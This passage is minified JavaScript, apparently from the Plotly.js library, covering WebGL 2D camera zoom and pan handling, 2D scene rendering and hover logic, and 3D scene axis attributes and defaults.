y=t.graphDiv._fullLayout._axisConstraintGroups,c=t.xaxis._id,b=t.yaxis._id,h=0;h<y.length;h++)if(y[h][c]!==-1){if(y[h][b]!==-1)return!0;break}return!1}a.mouseListener=M(r,s),r.addEventListener("touchstart",function(y){var c=o(y.changedTouches[0],r);s(0,c[0],c[1]),s(1,c[0],c[1]),y.preventDefault()},S?{passive:!1}:!1),r.addEventListener("touchmove",function(y){y.preventDefault();var c=o(y.changedTouches[0],r);s(1,c[0],c[1]),y.preventDefault()},S?{passive:!1}:!1),r.addEventListener("touchend",function(y){s(0,a.lastPos[0],a.lastPos[1]),y.preventDefault()},S?{passive:!1}:!1);function s(y,c,b){var h=t.calcDataBox(),i=f.viewBox,v=a.lastPos[0],T=a.lastPos[1],w=L.MINDRAG*f.pixelRatio,E=L.MINZOOM*f.pixelRatio,p,A;c*=f.pixelRatio,b*=f.pixelRatio,b=i[3]-i[1]-b;function m(B,_,F){var O=Math.min(_,F),z=Math.max(_,F);O!==z?(h[B]=O,h[B+2]=z,a.dataBox=h,t.setRanges(h)):(t.selectBox.selectBox=[0,0,1,1],t.glplot.setDirty())}switch(t.fullLayout.dragmode){case"zoom":if(y){var n=c/(i[2]-i[0])*(h[2]-h[0])+h[0],C=b/(i[3]-i[1])*(h[3]-h[1])+h[1];a.boxInited||(a.boxStart[0]=n,a.boxStart[1]=C,a.dragStart[0]=c,a.dragStart[1]=b),a.boxEnd[0]=n,a.boxEnd[1]=C,a.boxInited=!0,!a.boxEnabled&&(a.boxStart[0]!==a.boxEnd[0]||a.boxStart[1]!==a.boxEnd[1])&&(a.boxEnabled=!0);var x=Math.abs(a.dragStart[0]-c)<E,I=Math.abs(a.dragStart[1]-b)<E;if(u()&&!(x&&I)){p=a.boxEnd[0]-a.boxStart[0],A=a.boxEnd[1]-a.boxStart[1];var k=(h[3]-h[1])/(h[2]-h[0]);Math.abs(p*k)>Math.abs(A)?(a.boxEnd[1]=a.boxStart[1]+Math.abs(p)*k*(A>=0?1:-1),a.boxEnd[1]<h[1]?(a.boxEnd[1]=h[1],a.boxEnd[0]=a.boxStart[0]+(h[1]-a.boxStart[1])/Math.abs(k)):a.boxEnd[1]>h[3]&&(a.boxEnd[1]=h[3],a.boxEnd[0]=a.boxStart[0]+(h[3]-a.boxStart[1])/Math.abs(k))):(a.boxEnd[0]=a.boxStart[0]+Math.abs(A)/k*(p>=0?1:-1),a.boxEnd[0]<h[0]?(a.boxEnd[0]=h[0],a.boxEnd[1]=a.boxStart[1]+(h[0]-a.boxStart[0])*Math.abs(k)):a.boxEnd[0]>h[2]&&(a.boxEnd[0]=h[2],a.boxEnd[1]=a.boxStart[1]+(h[2]-a.boxStart[0])*Math.abs(k)))}else x&&(a.boxEnd[0]=a.boxStart[0]),I&&(a.boxEnd[1]=a.boxStart[1])}else a.boxEnabled?(p=a.boxStart[0]!==a.boxEnd[0],A=a.boxStart[1]!==a.boxEnd[1],p||A?(p&&(m(0,a.boxStart[0],a.boxEnd[0]),t.xaxis.autorange=!1),A&&(m(1,a.boxStart[1],a.boxEnd[1]),t.yaxis.autorange=!1),t.relayoutCallback()):t.glplot.setDirty(),a.boxEnabled=!1,a.boxInited=!1):a.boxInited&&(a.boxInited=!1);break;case"pan":a.boxEnabled=!1,a.boxInited=!1,y?(a.panning||(a.dragStart[0]=c,a.dragStart[1]=b),Math.abs(a.dragStart[0]-c)<w&&(c=a.dragStart[0]),Math.abs(a.dragStart[1]-b)<w&&(b=a.dragStart[1]),p=(v-c)*(h[2]-h[0])/(f.viewBox[2]-f.viewBox[0]),A=(T-b)*(h[3]-h[1])/(f.viewBox[3]-f.viewBox[1]),h[0]+=p,h[2]+=p,h[1]+=A,h[3]+=A,t.setRanges(h),a.panning=!0,a.lastInputTime=Date.now(),l(),t.cameraChanged(),t.handleAnnotations()):a.panning&&(a.panning=!1,t.relayoutCallback());break}a.lastPos[0]=c,a.lastPos[1]=b}return a.wheelListener=P(r,function(y,c){if(!t.scrollZoom)return!1;var b=t.calcDataBox(),h=f.viewBox,i=a.lastPos[0],v=a.lastPos[1],T=Math.exp(5*c/(h[3]-h[1])),w=i/(h[2]-h[0])*(b[2]-b[0])+b[0],E=v/(h[3]-h[1])*(b[3]-b[1])+b[1];return b[0]=(b[0]-w)*T+w,b[2]=(b[2]-w)*T+w,b[1]=(b[1]-E)*T+E,b[3]=(b[3]-E)*T+E,t.setRanges(b),a.lastInputTime=Date.now(),l(),t.cameraChanged(),t.handleAnnotations(),t.relayoutCallback(),!0},!0),a}},82961:function(te,Z,e){var M=e(89298),P=e(78614);function o(g){this.scene=g,this.gl=g.gl,this.pixelRatio=g.pixelRatio,this.screenBox=[0,0,1,1],this.viewBox=[0,0,1,1],this.dataBox=[-1,-1,1,1],this.borderLineEnable=[!1,!1,!1,!1],this.borderLineWidth=[1,1,1,1],this.borderLineColor=[[0,0,0,1],[0,0,0,1],[0,0,0,1],[0,0,0,1]],this.ticks=[[],[]],this.tickEnable=[!0,!0,!1,!1],this.tickPad=[15,15,15,15],this.tickAngle=[0,0,0,0],this.tickColor=[[0,0,0,1],[0,0,0,1],[0,0,0,1],[0,0,0,1]],this.tickMarkLength=[0,0,0,0],this.tickMarkWidth=[0,0,0,0],this.tickMarkColor=[[0,0,0,1],[0,0,0,1],[0,0,0,1],[0,0,0,1]],this.labels=["x","y"],this.labelEnable=[!0,!0,!1,!1],this.labelAngle=[0,Math.PI/2,0,3*Math.PI/2],this.labelPad=[15,15,15,15],this.labelSize=[12,12],this.labelFont=["sans-serif","sans-serif"],this.labelColor=[[0,0,0,1],[0,0,0,1],[0,0,0,1],[0,0,0,1]],this.title="",this.titleEnable=!0,this.titleCenter=[0,0,0,0],this.titleAngle=0,this.titleColor=[0,0,0,1],this.titleFont="sans-serif",this.titleSize=18,this.gridLineEnable=[!0,!0],this.gridLineColor=[[0,0,0,.5],[0,0,0,.5]],this.gridLineWidth=[1,1],this.zeroLineEnable=[!0,!0],this.zeroLineWidth=[1,1],this.zeroLineColor=[[0,0,0,1],[0,0,0,1]],this.borderColor=[0,0,0,0],this.backgroundColor=[0,0,0,0],this.static=this.scene.staticPlot}var L=o.prototype,S=["xaxis","yaxis"];L.merge=function(g){this.titleEnable=!1,this.backgroundColor=P(g.plot_bgcolor);var t,r,f,a,l,u,s,y,c,b,h;for(b=0;b<2;++b){t=S[b];var i=t.charAt(0);for(r=g[this.scene[t]._name],f=r.title.text===this.scene.fullLayout._dfltTitle[i]?"":r.title.text,h=0;h<=2;h+=2)this.labelEnable[b+h]=!1,this.labels[b+h]=f,this.labelColor[b+h]=P(r.title.font.color),this.labelFont[b+h]=r.title.font.family,this.labelSize[b+h]=r.title.font.size,this.labelPad[b+h]=this.getLabelPad(t,r),this.tickEnable[b+h]=!1,this.tickColor[b+h]=P((r.tickfont||{}).color),this.tickAngle[b+h]=r.tickangle==="auto"?0:Math.PI*-r.tickangle/180,this.tickPad[b+h]=this.getTickPad(r),this.tickMarkLength[b+h]=0,this.tickMarkWidth[b+h]=r.tickwidth||0,this.tickMarkColor[b+h]=P(r.tickcolor),this.borderLineEnable[b+h]=!1,this.borderLineColor[b+h]=P(r.linecolor),this.borderLineWidth[b+h]=r.linewidth||0;s=this.hasSharedAxis(r),l=this.hasAxisInDfltPos(t,r)&&!s,u=this.hasAxisInAltrPos(t,r)&&!s,a=r.mirror||!1,y=s?String(a).indexOf("all")!==-1:!!a,c=s?a==="allticks":String(a).indexOf("ticks")!==-1,l?this.labelEnable[b]=!0:u&&(this.labelEnable[b+2]=!0),l?this.tickEnable[b]=r.showticklabels:u&&(this.tickEnable[b+2]=r.showticklabels),(l||y)&&(this.borderLineEnable[b]=r.showline),(u||y)&&(this.borderLineEnable[b+2]=r.showline),(l||c)&&(this.tickMarkLength[b]=this.getTickMarkLength(r)),(u||c)&&(this.tickMarkLength[b+2]=this.getTickMarkLength(r)),this.gridLineEnable[b]=r.showgrid,this.gridLineColor[b]=P(r.gridcolor),this.gridLineWidth[b]=r.gridwidth,this.zeroLineEnable[b]=r.zeroline,this.zeroLineColor[b]=P(r.zerolinecolor),this.zeroLineWidth[b]=r.zerolinewidth}},L.hasSharedAxis=function(g){var t=this.scene,r=t.fullLayout._subplots.gl2d,f=M.findSubplotsWithAxis(r,g);return f.indexOf(t.id)!==0},L.hasAxisInDfltPos=function(g,t){var r=t.side;if(g==="xaxis")return r==="bottom";if(g==="yaxis")return r==="left"},L.hasAxisInAltrPos=function(g,t){var r=t.side;if(g==="xaxis")return r==="top";if(g==="yaxis")return r==="right"},L.getLabelPad=function(g,t){var r=1.5,f=t.title.font.size,a=t.showticklabels;if(g==="xaxis")return t.side==="top"?-10+f*(r+(a?1:0)):-10+f*(r+(a?.5:0));if(g==="yaxis")return t.side==="right"?10+f*(r+(a?1:.5)):10+f*(r+(a?.5:0))},L.getTickPad=function(g){return g.ticks==="outside"?10+g.ticklen:15},L.getTickMarkLength=function(g){if(!g.ticks)return 0;var t=g.ticklen;return g.ticks==="inside"?-t:t};function d(g){return new o(g)}te.exports=d},4796:function(te,Z,e){var M=e(30962).overrideAll,P=e(92918),o=e(10820),L=e(77922),S=e(85555),d=e(93612),g=e(528),t=e(27659).NG;Z.name="gl2d",Z.attr=["xaxis","yaxis"],Z.idRoot=["x","y"],Z.idRegex=S.idRegex,Z.attrRegex=S.attrRegex,Z.attributes=e(89502),Z.supplyLayoutDefaults=function(r,f,a){f._has("cartesian")||d.supplyLayoutDefaults(r,f,a)},Z.layoutAttrOverrides=M(d.layoutAttributes,"plot","from-root"),Z.baseLayoutAttrOverrides=M({plot_bgcolor:o.plot_bgcolor,hoverlabel:g.hoverlabel},"plot","nested"),Z.plot=function(f){for(var a=f._fullLayout,l=f._fullData,u=a._subplots.gl2d,s=0;s<u.length;s++){var y=u[s],c=a._plots[y],b=t(l,"gl2d",y),h=c._scene2d;h===void 0&&(h=new P({id:y,graphDiv:f,container:f.querySelector(".gl-container"),staticPlot:f._context.staticPlot,plotGlPixelRatio:f._context.plotGlPixelRatio},a),c._scene2d=h),h.plot(b,f.calcdata,a,f.layout)}},Z.clean=function(r,f,a,l){for(var u=l._subplots.gl2d||[],s=0;s<u.length;s++){var y=u[s],c=l._plots[y];if(c._scene2d){var b=t(r,"gl2d",y);b.length===0&&(c._scene2d.destroy(),delete l._plots[y])}}d.clean.apply(this,arguments)},Z.drawFramework=function(r){r._context.staticPlot||d.drawFramework(r)},Z.toSVG=function(r){for(var f=r._fullLayout,a=f._subplots.gl2d,l=0;l<a.length;l++){var u=f._plots[a[l]],s=u._scene2d,y=s.toImage("png"),c=f._glimages.append("svg:image");c.attr({xmlns:L.svg,"xlink:href":y,x:0,y:0,width:"100%",height:"100%",preserveAspectRatio:"none"}),s.destroy()}},Z.updateFx=function(r){for(var f=r._fullLayout,a=f._subplots.gl2d,l=0;l<a.length;l++){var u=f._plots[a[l]]._scene2d;u.updateFx(f.dragmode)}}},92918:function(te,Z,e){var M=e(73972),P=e(89298),o=e(30211),L=e(9330).gl_plot2d,S=e(9330).gl_spikes2d,d=e(9330).gl_select_box,g=e(40372),t=e(82961),r=e(75071),f=e(58617),a=e(99082),l=a.enforce,u=a.clean,s=e(71739).doAutoRange,y=e(64505),c=y.drawMode,b=y.selectMode,h=["xaxis","yaxis"],i,v,T=e(85555).SUBPLOT_PATTERN;function w(A,m){this.container=A.container,this.graphDiv=A.graphDiv,this.pixelRatio=A.plotGlPixelRatio||window.devicePixelRatio,this.id=A.id,this.staticPlot=!!A.staticPlot,this.scrollZoom=this.graphDiv._context._scrollZoom.cartesian,this.fullData=null,this.updateRefs(m),this.makeFramework(),!this.stopped&&(this.glplotOptions=t(this),this.glplotOptions.merge(m),this.glplot=L(this.glplotOptions),this.camera=r(this),this.traces={},this.spikes=S(this.glplot),this.selectBox=d(this.glplot,{innerFill:!1,outerFill:!0}),this.lastButtonState=0,this.pickResult=null,this.isMouseOver=!0,this.stopped=!1,this.redraw=this.draw.bind(this),this.redraw())}te.exports=w;var E=w.prototype;E.makeFramework=function(){if(this.staticPlot){if(!v&&(i=document.createElement("canvas"),v=g({canvas:i,preserveDrawingBuffer:!1,premultipliedAlpha:!0,antialias:!0}),!v))throw new Error("Error creating static canvas/context for image server");this.canvas=i,this.gl=v}else{var A=this.container.querySelector(".gl-canvas-focus"),m=g({canvas:A,preserveDrawingBuffer:!0,premultipliedAlpha:!0});if(!m){f(this),this.stopped=!0;return}this.canvas=A,this.gl=m}var n=this.canvas;n.style.width="100%",n.style.height="100%",n.style.position="absolute",n.style.top="0px",n.style.left="0px",n.style["pointer-events"]="none",this.updateSize(n);var C=this.svgContainer=document.createElementNS("http://www.w3.org/2000/svg","svg");C.style.position="absolute",C.style.top=C.style.left="0px",C.style.width=C.style.height="100%",C.style["z-index"]=20,C.style["pointer-events"]="none";var x=this.mouseContainer=document.createElement("div");x.style.position="absolute",x.style["pointer-events"]="auto",this.pickCanvas=this.container.querySelector(".gl-canvas-pick");var I=this.container;I.appendChild(C),I.appendChild(x);var k=this;x.addEventListener("mouseout",function(){k.isMouseOver=!1,k.unhover()}),x.addEventListener("mouseover",function(){k.isMouseOver=!0})},E.toImage=function(A){A||(A="png"),this.stopped=!0,this.staticPlot&&this.container.appendChild(i),this.updateSize(this.canvas);var m=this.glplot.gl,n=m.drawingBufferWidth,C=m.drawingBufferHeight;m.clearColor(1,1,1,0),m.clear(m.COLOR_BUFFER_BIT|m.DEPTH_BUFFER_BIT),this.glplot.setDirty(),this.glplot.draw(),m.bindFramebuffer(m.FRAMEBUFFER,null);var x=new Uint8Array(n*C*4);m.readPixels(0,0,n,C,m.RGBA,m.UNSIGNED_BYTE,x);for(var I=0,k=C-1;I<k;++I,--k)for(var B=0;B<n;++B)for(var _=0;_<4;++_){var F=x[4*(n*I+B)+_];x[4*(n*I+B)+_]=x[4*(n*k+B)+_],x[4*(n*k+B)+_]=F}var O=document.createElement("canvas");O.width=n,O.height=C;var z=O.getContext("2d",{willReadFrequently:!0}),N=z.createImageData(n,C);N.data.set(x),z.putImageData(N,0,0);var G;switch(A){case"jpeg":G=O.toDataURL("image/jpeg");break;case"webp":G=O.toDataURL("image/webp");break;default:G=O.toDataURL("image/png")}return this.staticPlot&&this.container.removeChild(i),G},E.updateSize=function(A){A||(A=this.canvas);var m=this.pixelRatio,n=this.fullLayout,C=n.width,x=n.height,I=Math.ceil(m*C)|0,k=Math.ceil(m*x)|0;return(A.width!==I||A.height!==k)&&(A.width=I,A.height=k),A},E.computeTickMarks=function(){this.xaxis.setScale(),this.yaxis.setScale();for(var A=[P.calcTicks(this.xaxis),P.calcTicks(this.yaxis)],m=0;m<2;++m)for(var n=0;n<A[m].length;++n)A[m][n].text=A[m][n].text+"";return A};function p(A,m){for(var n=0;n<2;++n){var C=A[n],x=m[n];if(C.length!==x.length)return!0;for(var I=0;I<C.length;++I)if(C[I].x!==x[I].x)return!0}return!1}E.updateRefs=function(A){this.fullLayout=A;var m=this.id.match(T),n="xaxis"+m[1],C="yaxis"+m[2];this.xaxis=this.fullLayout[n],this.yaxis=this.fullLayout[C]},E.relayoutCallback=function(){var A=this.graphDiv,m=this.xaxis,n=this.yaxis,C=A.layout,x={},I=x[m._name+".range"]=m.range.slice(),k=x[n._name+".range"]=n.range.slice();x[m._name+".autorange"]=m.autorange,x[n._name+".autorange"]=n.autorange,M.call("_storeDirectGUIEdit",A.layout,A._fullLayout._preGUI,x);var B=C[m._name];B.range=I,B.autorange=m.autorange;var _=C[n._name];_.range=k,_.autorange=n.autorange,x.lastInputTime=this.camera.lastInputTime,A.emit("plotly_relayout",x)},E.cameraChanged=function(){var A=this.camera;this.glplot.setDataBox(this.calcDataBox());var m=this.computeTickMarks(),n=this.glplotOptions.ticks;p(m,n)&&(this.glplotOptions.ticks=m,this.glplotOptions.dataBox=A.dataBox,this.glplot.update(this.glplotOptions),this.handleAnnotations())},E.handleAnnotations=function(){for(var A=this.graphDiv,m=this.fullLayout.annotations,n=0;n<m.length;n++){var C=m[n];C.xref===this.xaxis._id&&C.yref===this.yaxis._id&&M.getComponentMethod("annotations","drawOne")(A,n)}},E.destroy=function(){if(this.glplot){var A=this.traces;A&&Object.keys(A).map(function(m){A[m].dispose(),delete A[m]}),this.glplot.dispose(),this.container.removeChild(this.svgContainer),this.container.removeChild(this.mouseContainer),this.fullData=null,this.glplot=null,this.stopped=!0,this.camera.mouseListener.enabled=!1,this.mouseContainer.removeEventListener("wheel",this.camera.wheelListener),this.camera=null}},E.plot=function(A,m,n){var C=this.glplot;this.updateRefs(n),this.xaxis.clearCalc(),this.yaxis.clearCalc(),this.updateTraces(A,m),this.updateFx(n.dragmode);var x=n.width,I=n.height;this.updateSize(this.canvas);var k=this.glplotOptions;k.merge(n),k.screenBox=[0,0,x,I];var B={_fullLayout:{_axisConstraintGroups:n._axisConstraintGroups,xaxis:this.xaxis,yaxis:this.yaxis,_size:n._size}};u(B,this.xaxis),u(B,this.yaxis);var _=n._size,F=this.xaxis.domain,O=this.yaxis.domain;k.viewBox=[_.l+F[0]*_.w,_.b+O[0]*_.h,x-_.r-(1-F[1])*_.w,I-_.t-(1-O[1])*_.h],this.mouseContainer.style.width=_.w*(F[1]-F[0])+"px",this.mouseContainer.style.height=_.h*(O[1]-O[0])+"px",this.mouseContainer.height=_.h*(O[1]-O[0]),this.mouseContainer.style.left=_.l+F[0]*_.w+"px",this.mouseContainer.style.top=_.t+(1-O[1])*_.h+"px";var z,N;for(N=0;N<2;++N)z=this[h[N]],z._length=k.viewBox[N+2]-k.viewBox[N],s(this.graphDiv,z),z.setScale();l(B),k.ticks=this.computeTickMarks(),k.dataBox=this.calcDataBox(),k.merge(n),C.update(k),this.glplot.draw()},E.calcDataBox=function(){var A=this.xaxis,m=this.yaxis,n=A.range,C=m.range,x=A.r2l,I=m.r2l;return[x(n[0]),I(C[0]),x(n[1]),I(C[1])]},E.setRanges=function(A){var m=this.xaxis,n=this.yaxis,C=m.l2r,x=n.l2r;m.range=[C(A[0]),C(A[2])],n.range=[x(A[1]),x(A[3])]},E.updateTraces=function(A,m){var n=Object.keys(this.traces),C,x,I;this.fullData=A;e:for(C=0;C<n.length;C++){var k=n[C],B=this.traces[k];for(x=0;x<A.length;x++)if(I=A[x],I.uid===k&&I.type===B.type)continue e;B.dispose(),delete this.traces[k]}for(C=0;C<A.length;C++){I=A[C];var _=m[C],F=this.traces[I.uid];F?F.update(I,_):(F=I._module.plot(this,I,_),this.traces[I.uid]=F)}this.glplot.objects.sort(function(O,z){return O._trace.index-z._trace.index})},E.updateFx=function(A){b(A)||c(A)?(this.pickCanvas.style["pointer-events"]="none",this.mouseContainer.style["pointer-events"]="none"):(this.pickCanvas.style["pointer-events"]="auto",this.mouseContainer.style["pointer-events"]="auto"),A==="pan"?this.mouseContainer.style.cursor="move":A==="zoom"?this.mouseContainer.style.cursor="crosshair":this.mouseContainer.style.cursor=null},E.emitPointAction=function(A,m){for(var n=A.trace.uid,C=A.pointIndex,x,I=0;I<this.fullData.length;I++)this.fullData[I].uid===n&&(x=this.fullData[I]);var k={x:A.traceCoord[0],y:A.traceCoord[1],curveNumber:x.index,pointNumber:C,data:x._input,fullData:this.fullData,xaxis:this.xaxis,yaxis:this.yaxis};o.appendArrayPointValue(k,x,C),this.graphDiv.emit(m,{points:[k]})},E.draw=function(){if(!this.stopped){requestAnimationFrame(this.redraw);var A=this.glplot,m=this.camera,n=m.mouseListener,C=this.lastButtonState===1&&n.buttons===0,x=this.fullLayout;this.lastButtonState=n.buttons,this.cameraChanged();var I=n.x*A.pixelRatio,k=this.canvas.height-A.pixelRatio*n.y,B;if(m.boxEnabled&&x.dragmode==="zoom"){this.selectBox.enabled=!0;for(var _=this.selectBox.selectBox=[Math.min(m.boxStart[0],m.boxEnd[0]),Math.min(m.boxStart[1],m.boxEnd[1]),Math.max(m.boxStart[0],m.boxEnd[0]),Math.max(m.boxStart[1],m.boxEnd[1])],F=0;F<2;F++)m.boxStart[F]===m.boxEnd[F]&&(_[F]=A.dataBox[F],_[F+2]=A.dataBox[F+2]);A.setDirty()}else if(!m.panning&&this.isMouseOver){this.selectBox.enabled=!1;var O=x._size,z=this.xaxis.domain,N=this.yaxis.domain;B=A.pick(I/A.pixelRatio+O.l+z[0]*O.w,k/A.pixelRatio-(O.t+(1-N[1])*O.h));var G=B&&B.object._trace.handlePick(B);if(G&&C&&this.emitPointAction(G,"plotly_click"),B&&B.object._trace.hoverinfo!=="skip"&&x.hovermode&&G&&(!this.lastPickResult||this.lastPickResult.traceUid!==G.trace.uid||this.lastPickResult.dataCoord[0]!==G.dataCoord[0]||this.lastPickResult.dataCoord[1]!==G.dataCoord[1])){var J=G;this.lastPickResult={traceUid:G.trace?G.trace.uid:null,dataCoord:G.dataCoord.slice()},this.spikes.update({center:B.dataCoord}),J.screenCoord=[((A.viewBox[2]-A.viewBox[0])*(B.dataCoord[0]-A.dataBox[0])/(A.dataBox[2]-A.dataBox[0])+A.viewBox[0])/A.pixelRatio,(this.canvas.height-(A.viewBox[3]-A.viewBox[1])*(B.dataCoord[1]-A.dataBox[1])/(A.dataBox[3]-A.dataBox[1])-A.viewBox[1])/A.pixelRatio],this.emitPointAction(G,"plotly_hover");var q=this.fullData[J.trace.index]||{},ne=J.pointIndex,fe=o.castHoverinfo(q,x,ne);if(fe&&fe!=="all"){var X=fe.split("+");X.indexOf("x")===-1&&(J.traceCoord[0]=void 0),X.indexOf("y")===-1&&(J.traceCoord[1]=void 0),X.indexOf("z")===-1&&(J.traceCoord[2]=void 0),X.indexOf("text")===-1&&(J.textLabel=void 0),X.indexOf("name")===-1&&(J.name=void 0)}o.loneHover({x:J.screenCoord[0],y:J.screenCoord[1],xLabel:this.hoverFormatter("xaxis",J.traceCoord[0]),yLabel:this.hoverFormatter("yaxis",J.traceCoord[1]),zLabel:J.traceCoord[2],text:J.textLabel,name:J.name,color:o.castHoverOption(q,ne,"bgcolor")||J.color,borderColor:o.castHoverOption(q,ne,"bordercolor"),fontFamily:o.castHoverOption(q,ne,"font.family"),fontSize:o.castHoverOption(q,ne,"font.size"),fontColor:o.castHoverOption(q,ne,"font.color"),nameLength:o.castHoverOption(q,ne,"namelength"),textAlign:o.castHoverOption(q,ne,"align")},{container:this.svgContainer,gd:this.graphDiv})}}B||this.unhover(),A.draw()}},E.unhover=function(){this.lastPickResult&&(this.spikes.update({}),this.lastPickResult=null,this.graphDiv.emit("plotly_unhover"),o.loneUnhover(this.svgContainer))},E.hoverFormatter=function(A,m){if(m!==void 0){var n=this[A];return P.tickText(n,n.c2l(m),"hover").text}}},58547:function(te,Z,e){var M=e(30962).overrideAll,P=e(528),o=e(33539),L=e(27659).NG,S=e(71828),d=e(77922),g="gl3d",t="scene";Z.name=g,Z.attr=t,Z.idRoot=t,Z.idRegex=Z.attrRegex=S.counterRegex("scene"),Z.attributes=e(59084),Z.layoutAttributes=e(65500),Z.baseLayoutAttrOverrides=M({hoverlabel:P.hoverlabel},"plot","nested"),Z.supplyLayoutDefaults=e(24682),Z.plot=function(f){for(var a=f._fullLayout,l=f._fullData,u=a._subplots[g],s=0;s<u.length;s++){var y=u[s],c=L(l,g,y),b=a[y],h=b.camera,i=b._scene;i||(i=new o({id:y,graphDiv:f,container:f.querySelector(".gl-container"),staticPlot:f._context.staticPlot,plotGlPixelRatio:f._context.plotGlPixelRatio,camera:h},a),b._scene=i),i.viewInitial||(i.viewInitial={up:{x:h.up.x,y:h.up.y,z:h.up.z},eye:{x:h.eye.x,y:h.eye.y,z:h.eye.z},center:{x:h.center.x,y:h.center.y,z:h.center.z}}),i.plot(c,a,f.layout)}},Z.clean=function(r,f,a,l){for(var u=l._subplots[g]||[],s=0;s<u.length;s++){var y=u[s];!f[y]&&l[y]._scene&&(l[y]._scene.destroy(),l._infolayer&&l._infolayer.selectAll(".annotation-"+y).remove())}},Z.toSVG=function(r){for(var f=r._fullLayout,a=f._subplots[g],l=f._size,u=0;u<a.length;u++){var s=f[a[u]],y=s.domain,c=s._scene,b=c.toImage("png"),h=f._glimages.append("svg:image");h.attr({xmlns:d.svg,"xlink:href":b,x:l.l+l.w*y.x[0],y:l.t+l.h*(1-y.y[1]),width:l.w*(y.x[1]-y.x[0]),height:l.h*(y.y[1]-y.y[0]),preserveAspectRatio:"none"}),c.destroy()}},Z.cleanId=function(f){if(f.match(/^scene[0-9]*$/)){var a=f.substr(5);return a==="1"&&(a=""),t+a}},Z.updateFx=function(r){for(var f=r._fullLayout,a=f._subplots[g],l=0;l<a.length;l++){var u=f[a[l]]._scene;u.updateFx(f.dragmode,f.hovermode)}}},59084:function(te){te.exports={scene:{valType:"subplotid",dflt:"scene",editType:"calc+clearAxisTypes"}}},77894:function(te,Z,e){var M=e(7901),P=e(13838),o=e(1426).extendFlat,L=e(30962).overrideAll;te.exports=L({visible:P.visible,showspikes:{valType:"boolean",dflt:!0},spikesides:{valType:"boolean",dflt:!0},spikethickness:{valType:"number",min:0,dflt:2},spikecolor:{valType:"color",dflt:M.defaultLine},showbackground:{valType:"boolean",dflt:!1},backgroundcolor:{valType:"color",dflt:"rgba(204, 204, 204, 0.5)"},showaxeslabels:{valType:"boolean",dflt:!0},color:P.color,categoryorder:P.categoryorder,categoryarray:P.categoryarray,title:{text:P.title.text,font:P.title.font},type:o({},P.type,{values:["-","linear","log","date","category"]}),autotypenumbers:P.autotypenumbers,autorange:P.autorange,rangemode:P.rangemode,range:o({},P.range,{items:[{valType:"any",editType:"plot",impliedEdits:{"^autorange":!1}},{valType:"any",editType:"plot",impliedEdits:{"^autorange":!1}}],anim:!1}),tickmode:P.minor.tickmode,nticks:P.nticks,tick0:P.tick0,dtick:P.dtick,tickvals:P.tickvals,ticktext:P.ticktext,ticks:P.ticks,mirror:P.mirror,ticklen:P.ticklen,tickwidth:P.tickwidth,tickcolor:P.tickcolor,showticklabels:P.showticklabels,labelalias:P.labelalias,tickfont:P.tickfont,tickangle:P.tickangle,tickprefix:P.tickprefix,showtickprefix:P.showtickprefix,ticksuffix:P.ticksuffix,showticksuffix:P.showticksuffix,showexponent:P.showexponent,exponentformat:P.exponentformat,minexponent:P.minexponent,separatethousands:P.separatethousands,tickformat:P.tickformat,tickformatstops:P.tickformatstops,hoverformat:P.hoverformat,showline:P.showline,linecolor:P.linecolor,linewidth:P.linewidth,showgrid:P.showgrid,gridcolor:o({},P.gridcolor,{dflt:"rgb(204, 204, 204)"}),gridwidth:P.gridwidth,zeroline:P.zeroline,zerolinecolor:P.zerolinecolor,zerolinewidth:P.zerolinewidth,_deprecated:{title:P._deprecated.title,titlefont:P._deprecated.titlefont}},"plot","from-root")},3277:function(te,Z,e){var M=e(84267).mix,P=e(71828),o=e(44467),L=e(77894),S=e(951),d=e(71453),g=["xaxis","yaxis","zaxis"],t=100*136/187;te.exports=function(f,a,l){var u,s;function y(h,i){return P.coerce(u,s,L,h,i)}for(var c=0;c<g.length;c++){var b=g[c];u=f[b]||{},s=o.newContainer(a,b),s._id=b[0]+l.scene,s._name=b,S(u,s,y,l),d(u,s,y,{font:l.font,letter:b[0],data:l.data,showGrid:!0,noTickson:!0,noTicklabelmode:!0,noTicklabelstep:!0,noTicklabelposition:!0,noTicklabeloverflow:!0,bgColor:l.bgColor,calendar:l.calendar},l.fullLayout),y("gridcolor",M(s.color,l.bgColor,t).toRgbString()),y("title.text",b[0]),s.setScale=P.noop,y("showspikes")&&(y("spikesides"),y("spikethickness"),y("spikecolor",s.color)),y("showaxeslabels"),y("showbackground")&&y("backgroundcolor")}}},30422:function(te,Z,e){var M=e(78614),P=e(71828),o=["xaxis","yaxis","zaxis"];function L(){this.bounds=[[-10,-10,-10],[10,10,10]],this.ticks=[[],[],[]],this.tickEnable=[!0,!0,!0],this.tickFont=["sans-serif","sans-serif","sans-serif"],this.tickSize=[12,12,12],this.tickAngle=[0,0,0],this.tickColor=[[0,0,0,1],[0,0,0,1],[0,0,0,1]],this.tickPad=[18,18,18],this.labels=["x","y","z"],this.labelEnable=[!0,!0,!0],this.labelFont=["Open Sans","Open Sans","Open Sans"],this.labelSize=[20,20,20],this.labelColor=[[0,0,0,1],[0,0,0,1],[0,0,0,1]],this.labelPad=[30,30,30],this.lineEnable=[!0,!0,!0],this.lineMirror=[!1,!1,!1],this.lineWidth=[1,1,1],this.lineColor=[[0,0,0,1],[0,0,0,1],[0,0,0,1]],this.lineTickEnable=[!0,!0,!0],this.lineTickMirror=[!1,!1,!1],this.lineTickLength=[10,10,10],this.lineTickWidth=[1,1,1],this.lineTickColor=[[0,0,0,1],[0,0,0,1],[0,0,0,1]],this.gridEnable=[!0,!0,!0],this.gridWidth=[1,1,1],this.gridColor=[[0,0,0,1],[0,0,0,1],[0,0,0,1]],this.zeroEnable=[!0,!0,!0],this.zeroLineColor=[[0,0,0,1],[0,0,0,1],[0,0,0,1]],this.zeroLineWidth=[2,2,2],this.backgroundEnable=[!0,!0,!0],this.backgroundColor=[[.8,.8,.8,.5],[.8,.8,.8,.5],[.8,.8,.8,.5]],this._defaultTickPad=this.tickPad.slice(),this._defaultLabelPad=this.labelPad.slice(),this._defaultLineTickLength=this.lineTickLength.slice()}var S=L.prototype;S.merge=function(g,t){for(var r=this,f=0;f<3;++f){var a=t[o[f]];if(!a.visible){r.tickEnable[f]=!1,r.labelEnable[f]=!1,r.lineEnable[f]=!1,r.lineTickEnable[f]=!1,r.gridEnable[f]=!1,r.zeroEnable[f]=!1,r.backgroundEnable[f]=!1;continue}r.labels[f]=g._meta?P.templateString(a.title.text,g._meta):a.title.text,"font"in 